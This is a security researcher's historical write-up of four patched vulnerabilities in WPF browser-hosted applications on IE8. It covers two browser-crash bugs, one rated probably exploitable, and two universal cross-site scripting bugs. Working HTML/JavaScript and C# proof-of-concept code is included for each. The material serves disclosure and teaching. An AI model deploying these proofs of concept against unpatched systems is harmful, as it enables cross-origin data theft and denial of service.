A collection of findings from a security assessment of WPF browser-hosted applications (XBAP). Four distinct issues were identified across DoS, crash, and UXSS categories.

DoS — XAML Close New Window

Opening a XAML file in a new window and closing it crashes the browser 100% of the time on Windows 7 + IE8. The crash is in PresentationHostProxy!DllUnregisterServer+0x2d2b (hash 0x6308084b.0x1c082531), classified UNKNOWN exploitability — the data from the faulting address is used as an argument in a function call.

<script language="JavaScript">
function openWindow()
{
    window.open("01_xaml_in_new_window.xaml");
}
</script>
<input type="button" value="openWindow()" onclick="openWindow()">

DoS — XAML Crash via Cached Document Window Open

Saving a pointer to an HTML document inside a XAML Frame, navigating away from it, and then calling window.open on the cached (destroyed) document’s parentWindow crashes the browser within 5–20 seconds. Classified PROBABLY_EXPLOITABLE — data from the faulting address controls code flow (hash 0x73351510.0x4b793515).

<script language="JavaScript">
function saveDocumentAndChangeLocation()
{
    parent.d = document;
    parent.setTimeout('d.parentWindow.open("ANYTHING","THIS_SECOND_ARGUMENT_IS_NEEDED_TO_CRASH_THE_BROWSER");',400);
    navigate("about:blank");
}
</script>
<input type="button" onclick="saveDocumentAndChangeLocation()" value="Crash me Now!">

UXSS — WPF Casted Document Reference

Passing an iframe’s document object to a WPF method that casts it to HTMLDocument, navigating the iframe cross-origin, and then retrieving the stored (now cross-origin) document gives full DOM access. Does not work in Protected Mode.

<script language="JavaScript">
function main()
{
    external.setDocument(window[0].document);
    window[0].location = "http://www.google.com";
    setTimeout('alert(external.getDocument().body.innerText)',5000);
}
</script>
<iframe width="330" height="170"></iframe>
<input type="button" onclick="main()" value="DO IT">

The managed WPF code:

private object doc;
public HTMLDocument getDocument()
{
    return (HTMLDocument)this.doc;
}
public HTMLDocument setDocument(object doc)
{
    this.doc = doc;
    return (HTMLDocument)doc;
}

UXSS — WPF Override External Methods

The external object is shared across all iframes inside a WebBrowser Control, including cross-origin ones. A page that calls external.AutoCompleteSaveForm(oForm) passes its form element to the WPF host — which can then invoke JavaScript back with that form reference, granting full DOM access.

<!-- Microsoft's own MSDN sample calls external.AutoCompleteSaveForm(oForm) -->
<iframe width="710" height="300"
        src="http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/AutoCompleteSaveForm.htm">
</iframe>

<script language="JavaScript">
function grabbedForm(oForm)
{
    alert("IFrame location:\n" + oForm.ownerDocument.URL +
          "\n\nIFrame innerText:\n" + oForm.ownerDocument.body.innerText);
    oForm.ownerDocument.parentWindow.alert = function(){}
}
</script>

The WPF managed code intercepts AutoCompleteSaveForm and calls back into JS with the form object. Pressing “Save Value” in the Microsoft MSDN iframe triggers the capture.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.